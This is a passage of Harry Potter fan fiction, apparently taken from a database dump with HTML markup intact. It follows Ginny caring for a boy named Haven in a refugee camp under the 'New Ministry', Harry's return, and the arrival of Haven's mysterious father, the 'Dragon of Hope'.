Okay, she told herself, no more moping; you need to tell everyone before they get here. She got up off of her chair and reached for Haven&#8217;s hand. &#8220;Come on, I&#8217;ll take you around camp to meet everyone. I&#8217;m sure they&#8217;ll be delighted to meet you.&#8221;\n<br><br>\n\n	Ginny took Haven with her while she told everyone that the New Ministry was coming and that they needed to be ready. They weren&#8217;t going to try to fight the New Ministry but they needed to wary of them when they came. The war was supposedly over and they weren&#8217;t supposed to be hurting anymore people. The people that were dying and sick now were that way because of lack of food and all of the dust in the air. No one knew where all the dust was coming from but the elders said that it was coming from all of the death. \n<br><br>\n\n	On their way back to the tent Ginny stopped to pick some large magenta colored flowers that looked sort of like daisies. Haven watched her then started picking some with her; soon they had at least four handfuls. Ginny smiled at him, &#8220;Thanks.&#8221;\n<br><br>\n\n	Haven shrugged shyly, &#8220;What are these for?&#8221;\n<br><br>\n\n	&#8220;Medicine,&#8221; said Ginny. &#8220;These are called Echinacea, they can be used for cuts&#8230;like the ones that you have, and infections, also some other things, but that&#8217;s what I use them for. I&#8217;ve got to make a medicine for my brothers and clean up those cuts that you have, and this&#8217;ll do the trick.&#8221;\n<br><br>\n\n	&#8220;Wow,&#8221; Haven said amazedly, looking down at the flowers. &#8220;I didn&#8217;t know that pretty flowers could be used to help people.&#8221;\n<br><br>\n\n	She smiled at him, &#8220;They can.&#8221; \n<br><br>\n\n	When they got back to the tent, Molly was standing over a fire that had a large pot sitting over it. She was stirring occasionally and giving it suspicious glances. &#8220;Mum, what are you making?&#8221; Ginny asked, laying the flowers down on the table.\n<br><br>\n\n	&#8220;Lentil soup, it&#8217;s all we have.&#8221; She said stirring some more.\n<br><br>\n\n	&#8220;Lentils?&#8221; Percy called from his bed. Ginny scowled in his direction, &#8220;All we ever have is lentils. It&#8217;s a wonder that we haven&#8217;t died yet from lack of nutrition.&#8221;\n<br><br>\n\n	&#8220;No one could die around here with you taking care of them, Ginny,&#8221; Ron said. &#8220;You&#8217;ve got the golden touch.&#8221;\n<br><br>\n\n	She smiled at Ron. She had worked her hardest to keep everyone alive, it was her mission to help people and she never tired of feeding someone from the side of their bed, or cooling someone&#8217;s forehead during a fevered sleep. She always had her flowers and herbs to make medicines since all of her other&#8217;s were confiscated after they were captured by the death eaters. They had spared her because there was a shortage of medics on both sides and they knew that Ginny wouldn&#8217;t turn anyone away from her sick bed, regardless of which side they were on. She didn&#8217;t like wasted human life. It made her sick to her stomach thinking about dying, that&#8217;s why she worked so hard to keep people alive.\n<br><br>\n\n	She ground the Echinacea and mixed it with water. She had Haven take off his robes again and she rubbed the mixture on all of his cuts, wincing each time she had to touch one. Seeing the cuts on his small body hurt her. She couldn&#8217;t understand how people would out children through all the horrors of the bloody war.\n<br><br>\n<br><br>\n\nPops sounded on the outskirts of the camp, and men in bright green robes assemble together marching into the camp bright and early in the morning. &#8220;New Ministry!&#8221; a shrill voice declared, cutting into the peaceful morning and depriving the people of their serenity. &#8220;New Ministry!&#8221; All the people came out of the tents and watched the green robes march down the small dusty roads that went in-between the tents. The children clutched their mother&#8217;s legs and the old people huddled together with fearful eyes. As they passed the people could see the dark mark on the back of each green robe, staring at them horrifyingly. \n<br><br>\n\n	Ginny stepped out of her tent with Haven, who was holding her hand and shook like a leaf as the New Ministry passed. Then a tall man passed them, with dark black hair and black glittering eyes. He wore a silver robe, emblazoned with a gigantic dark mark on the back. Ginny guessed that he was Zabini. &#8220;Listen up town!&#8221; He shouted, &#8220;We&#8217;re setting up camp here and we&#8217;re going to regulate this place. No more free reign. You are under the New Ministry now.&#8221; His voice boomed out. Within seconds there was a large stone structure standing in the middle of the camp near the water pump. &#8220;You must all abide by our rules now.&#8221; He turned and he robes flew out around him as he walked into the cold, haunting building.\n<br><br>\n\n	Going back into the tent, Ginny saw Ron sitting up in his bed. &#8220;I&#8217;ve got to go get Harry,&#8221; he said forcefully.\n<br><br>\n\n	Ginny shook her head, &#8220;Ron, you don&#8217;t even know if he&#8217;s still alive.&#8221;\n<br><br>\n\n	He gave her a cutting look, &#8220;I know he is; I can feel it.&#8221; \n<br><br>\n\n	&#8220;You still can&#8217;t get out of bed, you aren&#8217;t strong enough,&#8221; she pushed him back down and covered him up. &#8220;You need rest if you&#8217;re ever going to get better.&#8221;\n<br><br>\n\n	Ron rolled his eyes, &#8220;Have I ever told you that sometimes you&#8217;re worse than Madam Pomfrey?&#8221; \n<br><br>\n\n	Ginny chose to ignore that statement and shoved a spoon full of medicine in his mouth and smiled at he made a face. &#8220;Want some water?&#8221; she asked sweetly.\n<br><br>\n\n	&#8220;Hell yeah,&#8221; he said, his face puckered up like he had just eaten a lemon.\n<br><br>\n\n	&#8220;Watch your mouth,&#8221; Percy said from his bed.\n<br><br>\n\n	&#8220;Oh shut it!&#8221; Ron said irritably. \n<br><br>\n<br><br>\n\n\nThe next week the whole camp was literally lined up in front of the small stone castle that the New Ministry had built. They were all waiting to get their week&#8217;s supply of lentils and weekly vegetables. Ginny was standing in line with Haven, representing her tent. Haven was holding her hand a fidgeting about nervously.\n<br><br>\n\n	Ginny had started worrying about him, the past three nights that he had been with them he had woken up in the middle of the night shouting, &#8220;Daddy! Daddy! Please don&#8217;t let them take me! Daddy!&#8221; He would be sobbing and shaking and Ginny would have to hold him and whisper in his ear until he fell asleep again in her arms. Every time that he would scream out like that her heart would leap.\n<br><br>\n\n	When they finally reached the table where the officials were giving out the food a woman sitting at the table with white hair said, &#8220;Name.&#8221;\n<br><br>\n\n	&#8220;Weasley,&#8221; Ginny said shortly.\n<br><br>\n\n	The woman glanced up at her; her nose wrinkled disgustedly, &#8220;Down at the end.&#8221;\n<br><br>\n\n	They walked down to the end of the table and a short man with graying hair handed them a small sack of lentils and four carrots. He gave them a greasy smile allowing all of his rotting teeth to show, &#8220;Happy eating,&#8221; he said cruelly. Haven clutched Ginny&#8217;s arm closer as the moved out of they crowd.\n<br><br>\n\n	Back at the tent, Ginny set the food down on the table, &#8220;They&#8217;re giving us less food.&#8221;\n<br><br>\n\n	&#8220;What a surprise,&#8221; Ron said sarcastically. Molly sat at the table and looked at the food disappointedly.\n<br><br>\n\n	&#8220;Did we just get lentils? Please tell me it isn&#8217;t just lentils, I&#8217;ll die.&#8221; Percy whined.\n<br><br>\n\n	Ginny smiled a false bright smile, &#8220;Oh!&#8221; she clapped her hands together, &#8220;they were so generous to give us FOUR carrots too.&#8221;\n<br><br>\n\n	&#8220;Augh!&#8221; Ron groaned, &#8220;I hate carrots.&#8221;\n<br><br>\n\n	&#8220;Too bad, that&#8217;s all we have,&#8221; Ginny said rolling her eyes at him.\n<br><br>\n\n	Ron looked down at his hands, &#8220;Harry&#8217;s alive,&#8221; he said quietly. &#8220;I can feel it.&#8221; Everyone had their eyes on him, because everyone wanted Harry to be alive. With Harry alive there was hope. Hope was what the people needed.\n<br><br>\n\n	No one said anything; there wasn&#8217;t anything to say\n<br><br>\n<br><br>\n\nLater while Ginny was trying to scrounge up a suitable dinner with Molly, the wind started blowing furiously and the tents flaps blew open. Ginny went to tie them shut when a man walked in the door, his robes flying around him wilding. Haven&#8217;s eyes widened, &#8220;DADDY!&#8221; He shouted, and ran towards the man. Ginny&#8217;s hand flew up to her neck to grasp the silver chain that was there.\n<br><br>\n<br><br>\n\n<b>A/N:</b> Cues drumroll. Well guys, that&#8217;s part one, and I know that it was a little slow, but bare with me, I promise that part two will be better and filled with mystery. I bet you guys are wondering who Haven&#8217;s father is. I bet some of you have even guess and some have guessed correctly. Who is the man that Haven just called Daddy. Is it really even his daddy? What role does his father play in the next part? What role does that man play in the next part? Stay tuned to find out.\n<br><br>\n<br><br>\n\nPlease review.\n'),
	(99, 3, '\n<br><br>\n<b>Disclaimer:</b> I don&#8217;t own anything Haven, and somethings that could matter less.\n<br><br>\n<br><br>\n\n<center><u><b>Heroes Shed No Tears</b></u><br>\n<b>Part III &#8211; Dragon of Hope</b><br>\n<i>VirtualFaerie</i></center><i><br><br><br><br>\n<br><br>\n\n\nLater while Ginny was trying to scrounge up a suitable dinner with Molly, the wind started blowing furiously and the tents flaps blew open. Ginny went to tie them shut when a man walked in the door, his robes flying around him wilding. Haven&#8217;s eyes widened, &#8220;DADDY!&#8221; He shouted, and ran towards the man. Ginny&#8217;s hand flew up to her neck to grasp the silver chain that was there.</i>\n<br><br>\n\nThe man standing at the door looked at Haven curiously and echoed, &#8220;Daddy?&#8221; He shook his head, and peered over at Ginny with bright green eyes, &#8220;Who&#8217;s daddy?&#8221;\n<br><br>\n\n	Ginny&#8217;s breath caught in her throat and she felt like she couldn&#8217;t breathe. His raven black hair shone in the dim light, his green eyes were dancing as he looked down at Haven, and his face was etched with lines that weren&#8217;t supposed to be there. He looked as if he had aged ten years in only four.\n	<br><br>\n\n	She ran to him, and held her arms out; he fell into them and wrapped his arms around her. &#8220;Oh my,&#8221; she breathed. &#8220;We thought you were dead.&#8221;\n<br><br>\n\n	&#8220;I&#8217;m here.&#8221; He said quietly.\n<br><br>\n\n &#8220;Harry?&#8221; she heard Ron call out from his bed. &#8220;Is that you? I knew you were alive! I knew it!&#8221;\n<br><br>\n\n	Harry smiled, but Haven&#8217;s face drooped, &#8220;He&#8217;s not my daddy.&#8221; Haven looked back at Ginny and ran to her and wrapped his arms around her waist, burying his head in her side. &#8220;He&#8217;s not my daddy.&#8221;\n<br><br>\n\n	Harry&#8217;s eyebrows bunched together as he peered down at Haven. The corner of his lip quirked up, but he didn&#8217;t say anything.\n<br><br>\n\n	Ginny&#8217;s voice came back to her and she hugged on Haven as she said, &#8220;I found him last week wandering around the camp. He&#8217;s expecting his father to come back for him.&#8221; She looked down at Haven, and back to Harry. &#8220;Where were you?&#8221; she whispered.\n<br><br>\n\n	He sighed and ran his fingers through his hair, he looked down at Haven, &#8220;I&#8217;m sure you&#8217;re father will be coming for you soon.&#8221; He looked over at Ginny, and said softly, &#8220;I&#8217;ll tell you a bit later, let me talk to Ron first?&#8221;\n<br><br>\n\n	&#8220;Sure, sure,&#8221; Ginny said slowly, watching him walk over to Ron&#8217;s bed.\n<br><br>\n\n	&#8220;Hey Ron, how&#8217;s it going?&#8221; He asked gently, sitting down at Ron&#8217;s side. Molly walked over to stand next to Harry, she was crying. Harry looked up at her, &#8220;Mrs. Weasley,&#8221; he said smiling. He hugged her and Molly started sobbing loudly.\n<br><br>\n\n	Feeling tears running down her face, Ginny decided to allow Harry and Ron some time alone, and walked outside with Haven. The wind had died down and it was dark outside, the stars were shining brightly in the black sky. The moon was a luminous ball that cast shadows all over the camp. Haven held onto Ginny&#8217;s hand, and looked to the stars with her.\n<br><br>\n\n	&#8220;My daddy is going to come back for me,&#8221; Haven said firmly. &#8220;He said that he just needed to take care of some things first.&#8221; He looked up at Ginny with wide eyes.\n<br><br>\n\n	Ginny wished that she could reassure and him and know that she&#8217;d be telling him the truth if she said that he was going to come back. But she didn&#8217;t know. In fact she didn&#8217;t even know who Haven&#8217;s father was. &#8220;Who is your father?&#8221; Ginny asked inquisitively.\n<br><br>\n\n	Haven cast his eyes down and mumbled, &#8220;I&#8217;m not supposed to tell. It&#8217;s a secret.&#8221;\n<br><br>\n\n	&#8220;Why?&#8221;\n<br><br>\n\n	&#8220;He told me not to. He said that if I told the bad men would find him,&#8221; Haven said, looking up at her with a single tear trekking down his face. Ginny wiped it away and hugged Haven.\n<br><br>\n\n	&#8220;It&#8217;s okay; you don&#8217;t have to tell me,&#8221; Ginny reassured him. &#8220;I&#8217;m sure that your daddy loves you very much and that if he told you he was coming back for you then he will.&#8221;  Ginny sighed; she hoped that Haven&#8217;s father would come for him soon. It was heartbreaking to watch him search through the crowds, looking for his father&#8217;s face, yet&#8230;.\n<br><br>\n\n	&#8220;But,&#8221; Haven murmured, &#8220;My daddy is good. He helps people. A girl had called him the Dragon of Hope. People love my daddy.&#8221; Ginny&#8217;s eyes widened, she had heard tales about the Dragon of Hope. He rode his broom in the night and brought food and money to all of the poorest refugees. The reason he was called the Dragon of Hope was that emblazoned on the back of his robes was a large black dragon with a silver outline. A small smile appeared on Ginny&#8217;s face; the Dragon of Hope was said to have stolen all the money and food that he gave from the New Ministry. Now Ginny understood why he wouldn&#8217;t want his son with him, it would be too dangerous for him, but why leave him at the camp, it wasn&#8217;t safe either.- &#8220;I love my daddy.&#8221;\n<br><br>\n\n	&#8220;I know you do honey.   I&#8217;m going to take good care of you until he comes back,&#8221; Ginny said sitting on the ground and leaning against the tent. Haven sat down with her and Ginny rocked him. \n<br><br>\n\n	&#8220;I know,&#8221; he said, &#8220;I like you, Ginny.&#8221;\n<br><br>\n\n	&#8220;I like you too, sweetheart,&#8221; Ginny said. They stayed out there for a while, Ginny just rocking Haven and staring up at the stars, then she felt Haven fall asleep and kissed his forehead. She thought that he was lucky to have the Dragon of Hope for his father.\n<br><br>\n\n	Harry stepped out of the tent and looked down at Ginny who was still holding Haven. He sat down next to her, &#8220;I already told your mother and your brothers this, but I thought you&#8217;d like to know too.&#8221; He looked at her smiling. &#8220;You&#8217;re brother&#8217;s aren&#8217;t dead. They&#8217;re all at Hogwarts, so is Hermione.&#8221;\n<br><br>\n\n	&#8220;Ho-Hogwarts?&#8221; Ginny&#8217;s voice cracked. &#8220;It&#8217;s still standing? They&#8217;re alive? Alive?&#8221; Hot tears burned her eyes and fell to her cheeks. She was so happy.\n<br><br>\n\n	He nodded and watched her, &#8220;I was there too, but I figured that I needed to come tell you that everyone was okay.&#8221;\n<br><br>\n\n	&#8220;Why did you take so long?&#8221;\n<br><br>\n\n	&#8220;I couldn&#8217;t come before, it wasn&#8217;t safe. Truth be told, it still isn&#8217;t, I only came because I was the only one who could get here unnoticed the quickest. I have to go back soon.&#8221;\n<br><br>\n\n	&#8220;Can you take us with you?&#8221; Ginny asked hopefully.\n<br><br>\n\n	&#8220;No, the New Ministry would notice and it wouldn&#8217;t be safe, you guys could be taken and killed for being with me if they caught me,&#8221; Harry said sadly. &#8220;I really wish that I could. But I couldn&#8217;t risk your lives.&#8221; Ginny looked down at Haven and didn&#8217;t say anything. &#8220;What&#8217;s his name? He looks familiar.&#8221; Harry asked, following Ginny&#8217;s eyes.\n<br><br>\n\n	&#8220;Haven,&#8221; she said softly, smoothing his baby soft hair lovingly.\n<br><br>\n\n	Harry&#8217;s brow furrowed and he shook his head, &#8220;Oh well. I&#8217;m going to go back inside and sit with your mother,&#8221; he smiled and walked back into the tent.\n<br><br>\n\n	Ginny stayed outside with the sleeping Haven in her lap. He looked like an angel, his blond hair falling over onto his face, his pale face tinged with pink on the cheeks, his mouth parted slightly for him to breathe. Angelic, Ginny thought was the best word to describe Haven. He had been nothing but sweet and compromising since he had arrived at the camp and stayed with the Weasleys. Ginny couldn&#8217;t believe how accustomed she had grown to having him with them, she didn&#8217;t want to think of the day his father would come to take him.\n<br><br>\n\n	She sat outside for another hour until Harry came back out. He looked down at Ginny and Haven and whispered, &#8220;I&#8217;m going out for a walk, and I&#8217;ll be back later.&#8221; Ginny nodded.\n<br><br>\n\n	He walked off, the darkness enveloping him, taking him from sight. Ginny could hear the cicadas chirping noisily all around her, and closed her eyes, breathing in the earthy air that was tainted with the smell of blood. \n<br><br>\n\n	Her eyes fluttered open as she heard a commotion down the next row of tents. There was a woman shouting, &#8220;He was here! He was here!&#8221; She heard a sob, &#8220;The Dragon of Hope was here, my family has food.&#8221;\n<br><br>\n\n	Ginny thought that the woman should shut her mouth if she wanted to keep the food. But of course it was too late now. The New Ministry officials probably had heard her and would take the food. Foolish woman, Ginny thought shaking her head sadly. Then she realized, if the Dragon of Hope was here, so was Haven&#8217;s father.\n<br><br>\n\n	Her heart beat furiously in her chest. Would he come to take Haven tonight? - So soon?   The commotion grew louder and Ginny could hear a rough man&#8217;s voice shouting, &#8220;Woman! Give us your food! That was stolen from the New Ministry.&#8221; Ginny had known it would come. It was inevitable. The woman had been stupid and it was her fault. Next time the Dragon of Hope should go to someone worthy of his attentions.\n<br><br>\n\n	Ginny tightened her hold on Haven and cradled him in her arms and walked back into the tent. Her mother was in bed with Percy, Ginny guessed that meant Molly had given up her bed for Harry. Ginny had been sleeping with Haven since he had come, it was comforting to have his warm little body cuddle up against hers during the night.\n<br><br>\n\n	Setting Haven down in their bed, she pulled his shoes off and tucked the blankets up around his neck to keep him warm. She smoothed his long bangs out of his face and kissed his forehead.\n<br><br>\n\n	There was a snort from Ron&#8217;s bed. &#8220;You take care of him like he&#8217;s your son,&#8221; Ron said, giving Ginny an indiscernible look.\n<br><br>\n\n	Ginny looked back at him, her brown eyes warm, &#8220;I wish he was my son.&#8221;\n<br><br>\n\n	&#8220;He&#8217;s too old to be your son, you&#8217;re too young.&#8221; Ron said in an older brother fashion.\n<br><br>\n\n	Ginny gave him a mischievous grin, &#8220;Not if I had had him when I was seventeen.&#8221;\n<br><br>\n\n	&#8220;I would kill anyone that got you pregnant at seventeen,&#8221; Ron said gruffly.\n<br><br>\n\n	She smiled at him lovingly, &#8220;I guess that&#8217;s one of the reasons that I love you.&#8221;\n<br><br>\n\n	&#8220;Whatever,&#8221; he said, turning over so she wouldn&#8217;t see the delighted smile on his face. He didn&#8217;t want her to know that he liked playing the big brother role and felt bad that he couldn&#8217;t do as well considering he was bedridden. &#8220;Good night Gin, I&#8217;m going to sleep.&#8221;\n<br><br>\n\n	&#8220;Good night,&#8221; she said softly. She blew out a candle that was sitting on the table and walked back outside to savor the night, it was her favorite time; it cloaked the  reality of the camp like a blanket. And if she looked up at the stars she could sometimes imagine she was back home, or at Hogwarts.  Somewhere safe, somewhere she wanted to be. \n<br><br>\n\n	The moon cast daunting shadows in the trees and on the tents, Ginny shivered as a cold breeze went through her thin robes. She hugged her arms around her and sat on the dusty ground. No one really knew why it had gotten so dusty after the war, but it had. She had heard and old woman saying that it was because of all the dead bodies, but Ginny preferred not to think so morbidly. \n<br><br>\n\n	A dark shadow caught her eye in the trees, instantly her heart sped up and she got nervous. It wasn&#8217;t the shadow of a limb, or that of an animal, it moved like a man.  It didn&#8217;t prowl or scurry as an animal would; it walked stealthily. She watched the person with rapt attention, waiting. Her mind was screaming at her to go back into the semi-safety of the tent, but her body wouldn&#8217;t let her move. While she felt scared, at the same time she wasn&#8217;t.\n<br><br>\n\n	The shadow came closer until it was standing in front of her, a tall figure in black. He spoke in a low voice, &#8220;I&#8217;d like to see my son.&#8221; Ginny scrambled off the ground and into a standing position. His robes were a dark black and his hood was drawn, there was no way to see his face.\n<br><br>\n\n	&#8220;What&#8217;s your son&#8217;s name?&#8221;\n<br><br>\n\n&#8220;Haven.&#8221;\n<br><br>\n\n	Ginny peered up at him cautiously; she couldn&#8217;t see his face. 	&#8220;How can I be sure that you&#8217;re really his father?&#8221;\n<br><br>\n\n	The man let out an exasperated sigh, &#8220;How many other people know he&#8217;s here?&#8221; When he saw that she wasn&#8217;t going to budge from her place in front of the tent flaps, he said, &#8220;Look, I&#8217;m not here to harm him, I&#8217;m his father for Merlin&#8217;s sake. If I&#8217;d known you where going to be this much of a nuisance I would have let him off somewhere else.&#8221;\n<br><br>\n\nGinny sighed resignedly; &#8220;He&#8217;s sleeping,&#8221; she said quietly and lead him over to Haven&#8217;s bed.\n<br><br>\n\n	&#8220;I just want to see him,&#8221; the man said, stopping at the side of the bed. &#8220;You&#8217;ve been taking care of him?&#8221; he asked.\n<br><br>\n\n	Ginny nodded, &#8220;Yes. He&#8217;s a very sweet boy.&#8221;\n<br><br>\n\n	The man murmured in agreement, &#8220;He is and more,&#8221; he whispered as he leant over to kiss the little boy&#8217;s forehead.\n<br><br>\n\n	Ginny blinked rapidly, tears were forcing their way up in her eyes, begging to be let out &#8220;He&#8217;s missed you,&#8221; she choked out.\n<br><br>\n\n	The man snapped his head in her direction, and Ginny could feel his eyes on her as if he was regarding her curiously. &#8220;You&#8217;ll miss him,&#8221; he said, it wasn&#8217;t a question.\n<br><br>\n\n	She nodded again, &#8220;I will. He&#8217;s been so&#8230;loving.&#8221; The man looked back down to Haven and Ginny followed his gaze. Footsteps not so far away broke them out of a reverie. \n<br><br>\n\n	The man looked at her, &#8220;Thank you for taking care of him. I&#8217;ve got to go.&#8221; He walked out of the tent, his robes billowing out around his legs. Ginny sighed as she watched him go and finally climbed into bed beside Haven.\n<br><br>\n\n	A little later she heard Harry come in and get in bed, taking his boots off noisily.  She watched the canvas ceiling, wondering why the man hadn&#8217;t taken his son with him. Maybe it still wasn&#8217;t safe for Haven to be with him. That&#8217;s probably why he hadn&#8217;t woken him, so that he wouldn&#8217;t ask for his father to take him away.\n<br><br>\n<br><br>\n\n\nWhen she woke in the morning she found herself staring into the wide eyes of Haven. He had been watching her as she slept. He cuddled up against her, against her body heat, it was cold and the blankets didn&#8217;t provide much heat on their own. Ginny put her arm around him as he balled up his fists on his chest. They lay there for a while, not talking or moving just waking up slowly.\n<br><br>\n\n	&#8220;Good morning,&#8221; Ginny said her voice a little gruff from sleep.\n<br><br>\n\n	&#8220;Morning,&#8221; Haven said quietly.\n<br><br>\n\n	&#8220;I&#8217;m hungry!&#8221; Ron called loudly from his bed. &#8220;Sheesh, Ginny, how late did you stay up last night?&#8221;\n<br><br>\n\n	Ginny turned to glare at Ron through sleepy eyes, &#8220;Quit being a prat Ron, you better start appreciating me, or I might never cook you breakfast again.&#8221;\n<br><br>\n\n	&#8220;Sorry,&#8221; he mumbled. \n<br><br>\n\n	&#8220;Haven,&#8221; Ginny said, &#8220;today is our row&#8217;s day at the showers.&#8221;\n\n	<br><br>\n &#8220;Our row?&#8221; Haven asked, looking confused.\n<br><br>\n\n	&#8220;Yes, dear, today our row of tents gets to use the shower building.&#8221;\n<br><br>\n\n	&#8220;Oh,&#8221; he said quietly, &#8220;So we get to take a bath today.&#8221;\n<br><br>\n\n	&#8220;Yes,&#8221; Ginny nodded. Haven watched her clean up the few dishes they had used for their lentil soup breakfast. The soup had been very bland for lack of bouillon and onions, or that least that was what Percy said. Ginny had told him to stuff it and eat before she gave his share away. \n<br><br>\n\n	&#8220;Where are the showers?&#8221; Haven asked curiously. Ginny stacked some freshly washed bowls in a beaten wooden crate.\n<br><br>\n\n	&#8220;It&#8217;s to the left, all the way down the row, and then you have to take another left and keep walking for awhile. It&#8217;s a pretty long walk,&#8221; she said rummaging through and old trunk.\n<br><br>\n\n	&#8220;Why is the walk pretty?&#8221; Haven asked; eyebrows furrowed. &#8220;Are there flowers along the way?&#8221;\n<br><br>\n\n	Ginny looked over her shoulder and smiled at him. &#8220;I guess a walk through here isn&#8217;t <i>pretty</i>. What I meant was that it&#8217;s a very long walk. I&#8217;m looking for two towels and some clothes for you.&#8221;\n<br><br>\n\n	Haven looked down at his dirty robes and frowned. &#8220;Will they be black?&#8221;\n<br><br>\n\n	&#8220;Probably not,&#8221; Ginny laughed. &#8220;Hardly anyone has black robes anymore.&#8221;\n<br><br>\n\n	&#8220;My daddy does,&#8221; he said proudly.\n<br><br>\n\n	&#8220;You&#8217;re dad is special, honey&#8221; Ginny said pulling out a small butternut colored robe.\n<br><br>\n\n	Haven wrinkled his nose, &#8220;I have to wear<i> that</i>?&#8221;\n<br><br>\n\n	&#8220;Only if you want to be clean,&#8221; Ginny said mildly.\n<br><br>\n\n	&#8220;Gin,&#8221; Ron called from his bed. &#8220;Is Harry up yet?&#8221; Ginny glanced at Harry&#8217;s bed, where his head was barely visible underneath the blankets. She walked over to him and listened, she could hear him snoring slightly.\n\n<br><br>\n	&#8220;No,&#8221; she answered, &#8220;He was out late last night.&#8221; Ron sighed loudly from his bed, &#8220;Come on,&#8221; Ginny said to Haven, &#8220;Let&#8217;s go get our showers.&#8221;\n<br><br>\n\n	Haven grasped her hand and she tucked the towels and clean robes under her arm. &#8220;It&#8217;s good for you to be wearing one of these robes,&#8221; she said looking pointedly at the ones in her arms. &#8220;You won&#8217;t stand out.&#8221;\n<br><br>\n\n	&#8220;Is it bad to stand out?&#8221; he questioned.\n<br><br>\n\n	&#8220;Here it is, if you stand out the New Ministry is suspicious of you,&#8221; Ginny told him.\n<br><br>\n\n	&#8220;What will they do to you?&#8221;\n<br><br>\n\n	&#8220;Take you to the dungeons, hold you for questioning, and probably put you in a cell with dementors for guards,&#8221; Ginny said quietly as they passed the New Ministry building.\n<br><br>\n\n	She felt Haven shiver, &#8220;I don&#8217;t like dementors.&#8221;\n<br><br>\n\n	&#8220;Neither do I, sweetheart,&#8221; she said softly, squeezing his hand reassuringly.\n<br><br>\n\n	&#8220;My dad is probably going to come soon,&#8221; he commented casually. Ginny didn&#8217;t say anything.   He sighed and looked up at the sky, &#8220;He&#8217;ll take me to our house way far away in the mountains where Grammy Ciss will take care of me while he&#8217;s gone.&#8221;\n<br><br>\n\n	Ginny felt her heart wrench. &#8220;Is Grammy Ciss your grandmother?&#8221; she asked thickly, feeling the tears in her throat. \n<br><br>\n\n	Haven nodded and smiled, &#8220;Grammy Ciss is funny.&#8221;\n<br><br>\n\n	&#8220;Why do you say that?&#8221;\n<br><br>\n\n	&#8220;She calls herself an old bat,&#8221; Haven said, giggling boyishly. Ginny found herself smiling.\n<br><br>\n<br><br>\n\n\n\n	&#8220;Haven&#8230;&#8221; Ginny said warningly.\n<br><br>\n\n	&#8220;I&#8217;m not sleepy!&#8221; Haven pouted.\n<br><br>\n\n	&#8220;It doesn&#8217;t matter,&#8221; Ginny said growing grumpy. &#8220;It&#8217;s late and you need to go to sleep.&#8221;\n<br><br>\n\n	&#8220;Will you sing me a song?&#8221; he asked pleadingly while climbing into bed. Ginny heard Ron snickering from his bed.\n<br><br>\n\n	She glared at Ron, &#8220;Yes, I will.&#8221; \n<br><br>\n\n	&#8220;What are you going to sing, Gin?&#8221; Ron asked smiling, and elbowing Harry who was sitting next to him, &#8220;Puff the Magic Dragon?&#8221;\n<br><br>\n\n	She rolled her eyes, &#8220;No, shut up.&#8221; She turned back to Haven and pulled the blankets up to his neck. She started to sing softly.\n<br><br>\n\n&#8220;<i>I just want to feel safe in my skin<br>\nI just want to be happy again<br>\nI just want to feel deep in my own world<br>\nBut I&#8217;m so lonely I don&#8217;t even want to be with myself anymore<br>\nOn a different day, if I was safe in my own skin<br>\nAnd I&#8217;m so lonely I don&#8217;t even want to be myself anymore<br>\nI just want to feel safe in my own skin<br>\nI just want to be happy again</i>.&#8221;*\n	\n<br><br>\n\n	She finished and all was silent. Haven was asleep, Ron was sitting in his bed, his mouth gaping, Harry was staring at her dubiously. &#8220;Gins,&#8221; Ron choked out, &#8220;I didn&#8217;t know that you could sing like that.&#8221; Harry nodded in agreement.\n<br><br>\n\n	She shrugged, blushing, &#8220;You just never listened.&#8221; She left the tent and went to stand outside. She looked up at the glowing moon and star sprinkled sky. She wrapped her arms around herself. She knew why she was out there, and it wasn&#8217;t just for a breath of fresh air. She was waiting for Haven&#8217;s father; she wanted him to come again. For some odd reason she felt strangely compelled to the man, yet she knew so little about him.\n<br><br>\n\n	There was a rustling sound near her; she whipped her head around. Limping out of the shadows was a dark figure. He groaned and made his way towards Ginny, &#8220;My son&#8230;&#8221; he said hoarsely. Ginny knew immediately that it was Haven&#8217;s father.\n<br><br>\n\n	Then there were voices in the distance. &#8220;Come on men! He has to be here somewhere!&#8221;\n<br><br>\n\n	The man looked at her, &#8220;Can you hide me?&#8221; he asked gruffly.\n<br><br>\n\n	&#8220;Yes, yes,&#8221; she said helping him into the tent and securing the flap behind her. She guided him over to the bed Molly had given up for Harry. The aforementioned Harry was perched on Ron&#8217;s bed. Ginny shot him a look, &#8220;Harry, could you share a bed with Ron?&#8221;\n<br><br>\n\n	Harry looked at the man Ginny had just brought in, &#8220;Sure,&#8221; he said uneasily. &#8220;Who&#8217;s that?&#8221;\n<br><br>\n\n	&#8220;Haven&#8217;s father,&#8221; she said helping the man into the bed. She pulled off his boots and set them on the floor. Ginny could see his teeth clenching as she did so. &#8220;You&#8217;re injured?&#8221; she asked.\n<br><br>\n\n	&#8220;Yes,&#8221; he gritted out. &#8220;Bloody bastards hit me with a Stalinus hex in the leg.&#8221;\n<br><br>\n\n	Ginny glanced over at Haven and then back to his father, &#8220;Watch your mouth.&#8221;\n<br><br>\n\n	&#8220;Hello!&#8221; there was a shout at the entrance. Ginny hastily covered him up and motioned for Harry to play possum. Everyone else had already been asleep, &#8220;Hello!&#8221; it wasn&#8217;t a friendly sort of hello, it was demanding.\n<br><br>\n\n	Ginny pulled back the flap and was met with three New Ministry officials. &#8220;Miss,&#8221; one said, &#8220;we&#8217;re looking for someone.  Have your seen or heard anything out of the ordinary?&#8221;\n<br><br>\n\n	She shook her head, &#8220;No, nothing, I&#8217;ve just been helping my brothers to bed.&#8221; The men gazed around the tent and left. Ginny shut the flap and sat on the edge of the bed that she had been sharing with Haven.\n<br><br>\n\n	Harry got out of bed and started pacing. &#8220;I think I&#8217;ll be leaving tomorrow night, I need to get back to Hogwarts,&#8221; he said raking a hand through his already disheveled hair.\n<br><br>\n\n	&#8220;Why?&#8221; Ginny asked earnestly.\n<br><br>\n\n	&#8220;It&#8217;s getting too dangerous,&#8221; Haven&#8217;s father said. Ginny looked to Harry, who in turn nodded.\n<br><br>\n\n	Ginny got up and started heating some water. She brought out her wand and searched in her trunk for some of her herbs. She looked back at the man, &#8220;You said a Stalinus hex right?&#8221; \n<br><br>\n\n	&#8220;Yeah.&#8221;\n<br><br>\n\n	&#8220;That&#8217;ll take a few days, not only will it have broken your leg, but it decreases your stamina,&#8221; Ginny said digging out a bottle of Skele-Grow.\n<br><br>\n\n	&#8220;I know what it does,&#8221; the man growled.\n<br><br>\n\n	Ginny rolled her eyes, &#8220;Gods,&#8221; she sighed. &#8220;Not another Percy.&#8221; She looked at Haven&#8217;s father, &#8220;You aren&#8217;t a complainer are you?&#8221; She asked as she started to go prepare a potion that would help increase his stamina. The Stalinus hex had grown very popular amongst the New Ministry because it was a way to wound their victims, and make it so that they were worn out before they could get anywhere safe.\n<br><br>\n\n	